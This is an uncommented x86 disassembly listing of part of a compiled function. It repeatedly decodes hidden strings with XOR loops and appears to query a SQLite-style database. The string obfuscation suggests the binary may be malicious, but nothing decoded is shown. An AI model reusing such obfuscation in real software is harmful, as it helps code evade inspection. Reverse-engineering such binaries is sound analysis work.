mov eax, dword [ebp - 0x1c]
add eax, esi
push eax
call fcn.004fcb50
mov eax, dword [ebp - 0x3c]
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x436772
mov byte [ebp - 0x234], 0
push dword [ebp - 0x234]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00488e80
xorps xmm0, xmm0
lea ecx, [ebp - 0xc8]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [edi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040d3d0
add esp, 0x18
mov byte [ebp - 4], 0x3a
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x4367ed
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4367e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov byte [ebp - 4], 0x3b
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x43683d
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436833
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x436875
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43686b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0x14]
test eax, 0x4000
je 0x436895
and eax, 0xffffbfff
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x2000
je 0x4368b2
and eax, 0xffffdfff
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x1000
je 0x4368cc
and eax, 0xffffefff
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x14], eax
call fcn.00402a10
xorps xmm0, xmm0
mov dword [ebp - 0x24c], 0xf
xor esi, esi
movups xmmword [ebp - 0x260], xmm0
mov dword [ebp - 0x250], esi
mov byte [ebp - 0x260], 0
mov byte [ebp - 4], 0x40
cmp dword [ebp - 0xb8], esi
je 0x436c03
cmp dword [ebp - 0x2b8], esi
jne 0x436c03
sub esp, 0x28
lea edx, [ebp - 0xc8]
mov eax, esp
lea ecx, [ebp - 0x320]
push esi
push 1
mov dword [eax + 0x24], esi
call fcn.00487220
add esp, 0x30
mov byte [ebp - 4], 0x41
xor ecx, ecx
movaps xmm0, xmmword [0x5482c0]
mov word [ebp - 0x4e], 0xfbe8
movups xmmword [ebp - 0x4c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 8
jb 0x436941
lea eax, [ebp - 0x4e]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x278]
mov byte [ebp - 0x46], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x278]
mov edi, dword [ebp - 0x14]
or edi, 0x8000
mov dword [ebp - 0x14], edi
call fcn.00402b50
push eax
lea ecx, [ebp - 0x320]
call fcn.00486ff0
cmp byte [eax], 0
je 0x436a74
movaps xmm0, xmmword [0x5482c0]
xor ecx, ecx
mov word [ebp - 0x32], 0xfbe8
movups xmmword [ebp - 0x30], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 8
jb 0x4369b0
lea eax, [ebp - 0x32]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x2a], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x43
lea ecx, [ebp - 0x118]
or edi, 0x10000
mov dword [ebp - 0x14], edi
call fcn.00402b50
push eax
lea ecx, [ebp - 0x320]
call fcn.00486ff0
movaps xmm0, xmmword [0x547c00]
xor ecx, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x6f], 0xf8eae6e2
mov word [ebp - 0x6b], 0xfcf2
mov byte [ebp - 0x69], 0xf9
movups xmmword [ebp - 0x68], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 0xd
jb 0x436a20
lea eax, [ebp - 0x6f]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0x62], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x44
lea ecx, [ebp - 0xa0]
or edi, 0x20000
mov dword [ebp - 0x14], edi
call fcn.00402b50
mov ecx, dword [ebp - 0x3c]
push eax
call fcn.00486ff0
mov byte [ebp - 0x15], 1
cmp byte [eax], 0
jne 0x436a78
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test eax, 0x20000
je 0x436a98
and eax, 0xfffdffff
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x10000
je 0x436ab5
and eax, 0xfffeffff
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x41
test eax, 0x8000
je 0x436ad6
and eax, 0xffff7fff
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x14], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x436bf0
movaps xmm0, xmmword [0x5482c0]
xor ecx, ecx
mov word [ebp - 0x32], 0xfbe8
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 8
jb 0x436af3
lea eax, [ebp - 0x32]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0x2a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x45
call fcn.00402b50
push eax
lea ecx, [ebp - 0x320]
call fcn.00486ff0
movaps xmm0, xmmword [0x547c00]
mov esi, eax
mov dword [ebp - 0x6f], 0xf8eae6e2
xor ecx, ecx
mov word [ebp - 0x6b], 0xfcf2
mov byte [ebp - 0x69], 0xf9
movups xmmword [ebp - 0x68], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 0xd
jb 0x436b55
lea eax, [ebp - 0x6f]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x278]
mov byte [ebp - 0x62], 0
call fcn.00402ab0
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0x46
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
lea ecx, [ebp - 0x218]
push ecx
mov ecx, eax
call fcn.00487130
mov edx, eax
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x188]
call fcn.004028f0
push eax
lea ecx, [ebp - 0x260]
call fcn.00482e90
lea ecx, [ebp - 0x188]
call fcn.00402a10
lea ecx, [ebp - 0x218]
call fcn.00402a10
lea ecx, [ebp - 0x278]
call fcn.00402a10
lea ecx, [ebp - 0xa0]
call fcn.00402a10
mov esi, dword [ebp - 0x250]
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 0x40
call fcn.00480b00
test esi, esi
jne 0x436c1d
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x260]
call fcn.00482e60
mov esi, dword [ebp - 0x250]
test esi, esi
setne byte [ebp - 0x81]
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x1f0]
push 0
mov byte [ebp - 0x1f8], 0
call fcn.00484a10
mov byte [ebp - 4], 0x49
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0xb0], esp
sub esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00480ea0
add esp, 8
mov eax, dword [ebp - 0x58]
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0xac]
lea eax, [eax + eax*2]
lea edi, [ecx + eax*8]
mov al, byte [ebp - 0x1f8]
mov dword [ebp - 0x80], edi
test al, al
jne 0x436ceb
push 8
mov byte [ebp - 0x1f8], 1
call fcn.004fae70
mov esi, eax
add esp, 4
lea eax, [ebp - 0xfd]
mov dword [ebp - 0x2ac], esi
mov dword [ebp - 0x2b0], eax
mov byte [ebp - 4], 0x4b
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004fae70
mov byte [ebp - 4], 0x4a
add esp, 4
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x1f0], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x436cf9
cmp al, 1
jne 0x437e7d
mov esi, dword [ebp - 0x1f0]
push edi
mov ecx, esi
call fcn.00484be0
mov ecx, eax
mov byte [ebp - 4], 0x49
call fcn.00480b20
cmp byte [ebx + 0xc], 0
je 0x436d6c
movaps xmm0, xmmword [0x5471a0]
xor ecx, ecx
mov word [ebp - 0x32], 0xedc9
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 8
jb 0x436d25
lea eax, [ebp - 0x32]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x218]
mov byte [ebp - 0x2a], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x218]
mov edi, dword [ebp - 0x14]
or edi, 0x40000
mov dword [ebp - 0x14], edi
call fcn.00402b50
mov dword [ebp - 0x3c], eax
jmp 0x436d76
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x3c], 0x5424b0
cmp byte [ebx + 8], 0
je 0x436da5
push 0x5424b0
lea ecx, [ebp - 0xfc]
call fcn.00402ab0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0x4f
or dword [ebp - 0x14], 0x80000
mov edi, dword [ebp - 0x14]
jmp 0x436e41
xorps xmm0, xmm0
mov byte [ebp - 0xd3], 0xdb
movq qword [ebp - 0xd2], xmm0
xor ecx, ecx
mov word [ebp - 0xca], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xd3], al
inc ecx
cmp ecx, 1
jb 0x436dc2
lea eax, [ebp - 0xd3]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0x278]
mov byte [ebp - 0xd2], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x50
lea ecx, [ebp - 0x278]
or edi, 0x100000
mov dword [ebp - 0x14], edi
call fcn.00402b50
push dword [ebp - 0x58]
lea ecx, [ebp - 0xac]
mov esi, eax
call fcn.00481c80
push esi
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.00486d20
add esp, 4
mov dword [ebp - 0x1c], eax
or edi, 0x200000
mov dword [ebp - 4], 0x51
mov dword [ebp - 0x14], edi
xorps xmm0, xmm0
mov byte [ebp - 0x7b], 0xdb
movq qword [ebp - 0x7a], xmm0
xor ecx, ecx
mov word [ebp - 0x72], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x7b], al
inc ecx
cmp ecx, 1
jb 0x436e55
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x7b]
mov byte [ebp - 0x7a], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436e88
sub ecx, edx
lea eax, [ebp - 0x7b]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402b80
or edi, 0x80000000
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0x52
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae esi, dword [ebp - 0x54]
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x436ec0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x160]
sub eax, edx
cmp eax, ecx
jb 0x437e78
cmp dword [ebp - 0x15c], 0x10
lea eax, [ebp - 0x170]
push ecx
cmovae eax, dword [ebp - 0x170]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa0]
call fcn.0048aa20
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0xa0]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x118]
push eax
push dword [ebp - 0x20]
call fcn.0048a830
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x54
call fcn.00482d20
mov dword [ebp - 0x60], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x5c], 0
or edi, 0x40000000
movups xmm0, xmmword [eax]
mov dword [ebp - 0x14], edi
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x60], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x55
lea edx, [ebx + 0x28]
cmp dword [ebx + 0x3c], 0x10
mov ecx, dword [ebp - 0x60]
cmovae edx, dword [ebx + 0x28]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x38]
sub eax, ecx
mov dword [ebp - 0x3c], ecx
push edi
push edx
cmp edi, eax
ja 0x436fc2
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [ecx + edi]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + ecx]
push eax
call fcn.004fcb50
mov ecx, dword [ebp - 0x3c]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x436fd8
mov byte [ebp - 0x238], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x238]
push edi
call fcn.00488e80
mov dword [ebp - 0x220], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x230], xmm0
mov dword [ebp - 0x21c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x230], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x220], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x437056
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43704c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov byte [ebp - 4], 0x58
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x4370a6
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43709c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
mov byte [ebp - 4], 0x59
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x4370ff
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4370f5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x5a
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x437137
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43712d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0x14]
test eax, 0x200000
je 0x437157
and eax, 0xffdfffff
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x100000
je 0x437174
and eax, 0xffefffff
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x80000
je 0x437191
and eax, 0xfff7ffff
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], 0x5e
test eax, 0x40000
je 0x4371af
and eax, 0xfffbffff
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x14], eax
call fcn.00402a10
cmp dword [ebp - 0x21c], 0x10
lea ecx, [ebp - 0x230]
lea edx, [ebp - 0x88]
cmovae ecx, dword [ebp - 0x230]
call fcn.00419620
test eax, eax
jne 0x437abd
movaps xmm0, xmmword [0x548950]
xor ecx, ecx
movups xmmword [ebp - 0x35c], xmm0
mov word [ebp - 0x32c], 0xddd4
movaps xmm0, xmmword [0x548700]
movups xmmword [ebp - 0x34c], xmm0
mov word [ebp - 0x322], ax
movaps xmm0, xmmword [0x5493d0]
movups xmmword [ebp - 0x33c], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x32a], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x35c], al
inc ecx
cmp ecx, 0x32
jb 0x437220
lea eax, [ebp - 0x35c]
mov dword [0x55d53c], ecx
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 0x32a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xa0]
call fcn.00402b50
lea ecx, [ebp - 0xa0]
mov esi, eax
call fcn.00402a10
push ecx
lea eax, [ebp - 0x18c]
mov edx, esi
mov esi, dword [ebp - 0x88]
push eax
push ecx
mov ecx, esi
call fcn.004e0940
add esp, 0xc
test eax, eax
jne 0x437ab6
mov edi, dword [ebp - 0x18c]
mov ecx, edi
call fcn.004bd060
cmp eax, 0x64
jne 0x437aaf
lea eax, [ebp - 0xfe]
mov dword [ebp - 0x2d8], eax
nop dword [eax]
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x1e0]
push 0
mov byte [ebp - 0x1e8], 0
call fcn.00484a10
mov byte [ebp - 4], 0x60
test edi, edi
je 0x43731b
cmp dword [edi + 0x2c], 0
je 0x4372f6
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x4372f6
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4372f1
push eax
call dword [0x55ad18]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x437320
mov eax, dword [edi]
test eax, eax
je 0x43731b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43730d
push eax
call dword [0x55ad18]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004ab9b0
add esp, 0xc
mov ecx, 0x5404d0
mov dl, 1
call fcn.004b9ed0
mov dword [ebp - 0x3c], eax
test edi, edi
je 0x437381
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x437364
cmp byte [esi + 0x1e], 0
jne 0x437347
mov edx, esi
cmp ecx, 0xc0a
jne 0x43735f
push 0
push 7
push esi
call fcn.004ab9b0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43736b
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x437381
push eax
call dword [0x55ad20]
add esp, 4
movaps xmm0, xmmword [0x547af0]
movups xmmword [ebp - 0x4c], xmm0
mov byte [ebp - 0x4d], 0xf4
xorps xmm0, xmm0
mov byte [ebp - 0x248], 3
push 0x18
movq qword [ebp - 0x240], xmm0
call fcn.004fae70
mov esi, eax
add esp, 4
mov dword [ebp - 0xb0], esi
mov dword [ebp - 0x2d4], esi
mov edx, dword [ebp - 0x3c]
xorps xmm0, xmm0
mov ecx, edx
mov byte [ebp - 4], 0x61
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x3c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4373e0
sub ecx, dword [ebp - 0x3c]
push ecx
push edx
mov ecx, esi
call fcn.00402b80
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x240], esi
mov byte [ebp - 4], 0x62
xor eax, eax
nop dword [eax]
lea ecx, [eax - 0x79]
xor byte [ebp + eax - 0x4d], cl
inc eax
cmp eax, 7
jb 0x437410
xorps xmm0, xmm0
mov dword [0x55d560], eax
lea ecx, [ebp - 0x4d]
mov byte [ebp - 0x46], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437441
sub ecx, edx
lea eax, [ebp - 0x4d]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402b80
or dword [ebp - 0x14], 0x1000000
mov byte [ebp - 4], 0x63
lea esi, [ebp - 0x38]
cmp dword [ebp - 0x24], 0x10
mov al, byte [ebp - 0x1e8]
cmovae esi, dword [ebp - 0x38]
test al, al
jne 0x4374a8
push 1
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x1e8], 1
call fcn.00484a10
mov ecx, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x1dc], eax
jmp 0x4374b9
cmp al, 1
jne 0x437e20
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1c], eax
mov ecx, esi
mov dword [ebp - 0x280], 0
xorps xmm0, xmm0
mov dword [ebp - 0x27c], 0
movups xmmword [ebp - 0x290], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4374e0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x290]
call fcn.00402b80
lea eax, [ebp - 0x290]
mov byte [ebp - 4], 0x64
mov ecx, dword [ebp - 0x1c]
push eax
call fcn.0048a1c0
mov byte [ebp - 4], 0x63
mov esi, eax
mov ecx, dword [ebp - 0x27c]
cmp ecx, 0x10
jb 0x437549
mov edx, dword [ebp - 0x290]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43753f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 0xf
mov byte [ebp - 0x290], 0
mov al, byte [esi]
mov edi, dword [ebp - 0xb0]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x248], al
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x240], ecx
lea ecx, [ebp - 0x248]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x23c], edx
call fcn.00480b00
mov byte [ebp - 4], 0x60
mov ecx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x18c]
cmp ecx, 0x10
jb 0x4375dc
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4375d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov edx, 1
mov ecx, edi
call fcn.004bd660
mov edx, 1
mov ecx, edi
mov esi, eax
call fcn.004bd750
test eax, eax
jle 0x437a6e
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0xa0]
push eax
push esi
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
call fcn.00402b80
cmp byte [ebp - 0x81], 0
mov byte [ebp - 4], 0x69
je 0x437750
xorps xmm0, xmm0
mov word [ebp - 0x1b5], 0xb9f1
mov byte [ebp - 0x1b3], 0xb9
xor ecx, ecx
movq qword [ebp - 0x1b2], xmm0
mov word [ebp - 0x1aa], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1b5], al
inc ecx
cmp ecx, 3
jb 0x437680
lea eax, [ebp - 0x1b5]
mov dword [0x55d590], ecx
push eax
lea ecx, [ebp - 0x188]
mov byte [ebp - 0x1b2], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x188]
or dword [ebp - 0x14], 0x400000
call fcn.00402b50
push eax
push esi
call fcn.004fc740
add esp, 8
test eax, eax
jne 0x43774a
xorps xmm0, xmm0
mov word [ebp - 0x1a8], 0xb9f1
mov byte [ebp - 0x1a6], 0xb8
xor ecx, ecx
movq qword [ebp - 0x1a5], xmm0
mov word [ebp - 0x19d], ax
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1a8], al
inc ecx
cmp ecx, 3
jb 0x437700
lea eax, [ebp - 0x1a8]
mov dword [0x55d590], ecx
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x1a5], 0
call fcn.00402ab0
or dword [ebp - 0x14], 0x800000
lea ecx, [ebp - 0x38]
call fcn.00402b50
push eax
push esi
call fcn.004fc740
add esp, 8
test eax, eax
je 0x437750
mov byte [ebp - 0x15], 1
jmp 0x437754
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test eax, 0x800000
je 0x437771
and eax, 0xff7fffff
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x69
test eax, 0x400000
je 0x437792
and eax, 0xffbfffff
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x14], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x4377d7
sub esp, 0x18
lea eax, [ebp - 0xa0]
mov ecx, esp
mov dword [ebp - 0xb0], esp
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x6b
lea eax, [ebp - 0x260]
mov ecx, esp
push eax
call fcn.00483010
xor dl, dl
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x54]
call fcn.00426f20
add esp, 0x30
jmp 0x4377e5
push ecx
lea edx, [ebp - 0x54]
mov ecx, esi
call fcn.00426df0
add esp, 4
xorps xmm0, xmm0
mov dword [ebp - 0x157], 0xefe2e7f3
push 0x18
mov byte [ebp - 0x153], 0xe5
movq qword [ebp - 0x152], xmm0
mov word [ebp - 0x14a], 0
movq qword [ebp - 0x140], xmm0
mov byte [ebp - 0x148], 3
call fcn.004fae70
mov esi, eax
add esp, 4
lea eax, [ebp - 0xff]
mov dword [ebp - 0xb0], esi
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], esi
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 0x6c
push eax
mov ecx, esi
call fcn.00483010
mov dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x140], esi
mov dword [ebp - 0x13c], eax
mov byte [ebp - 4], 0x6d
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x157], al
inc ecx
cmp ecx, 5
jb 0x437870
mov dword [0x55d544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x157]
mov byte [ebp - 0x152], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4378b0
sub ecx, edx
lea eax, [ebp - 0x157]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402b80
or dword [ebp - 0x14], 0x2000000
mov byte [ebp - 4], 0x6e
lea esi, [ebp - 0x38]
cmp dword [ebp - 0x24], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0x2a8], xmm0
cmovae esi, dword [ebp - 0x38]
mov edx, esi
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x437902
sub edx, ecx
lea ecx, [ebp - 0x2a8]
push edx
push esi
call fcn.00402b80
lea eax, [ebp - 0x2a8]
mov byte [ebp - 4], 0x6f
